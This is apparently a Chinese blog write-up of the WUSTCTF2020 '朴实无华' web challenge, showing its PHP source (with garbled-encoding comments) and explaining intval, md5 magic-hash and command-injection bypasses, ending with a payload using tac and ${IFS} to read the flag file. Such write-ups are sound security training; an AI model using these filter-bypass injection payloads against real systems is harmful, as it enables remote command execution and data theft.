[WUSTCTF2020]朴实无华(命令执行)


请求头问题
去查了一下资料了解了一下没有什莫用
robots.txt
中有东西
image
image
假flag
但是请求头里有重要消息
image
访问页面/fl4g.php

<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?> 

简单的三个绕过
直接在网上都能搜到
第一个

intval($num) < 2020 && intval($num + 1) > 2021

我们要满足一个数小于2020一之后又大于2021很显然没有这样的一个数
我们只有利用intval的特性来绕过

<?php
$a=intval(0X7e5);
echo $a;
?>//输出2021
<?php
$a=intval('0X7e5');
echo $a;
?>输出0
<?php
$a=intval('0X7e5'+1);
echo $a;
?>输出2022

也就是你传入整数类型他就会转化成十进制
但是传入字符型他只会找你第一个字符之前的数,之后的一律丢弃
但是你加一的话他会先把字符串转为整数型再运算,得到一个整数型的结果


第二个就是md5的值和md5md5的值相同
原来做题搜集的有0e215962017


第三个就是用tac代替cat,再用${IFS}代替空格


?num=0x7E5&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
posted @ 2024-07-17 14:39  DGhh  阅读(4)  评论(0编辑  收藏  举报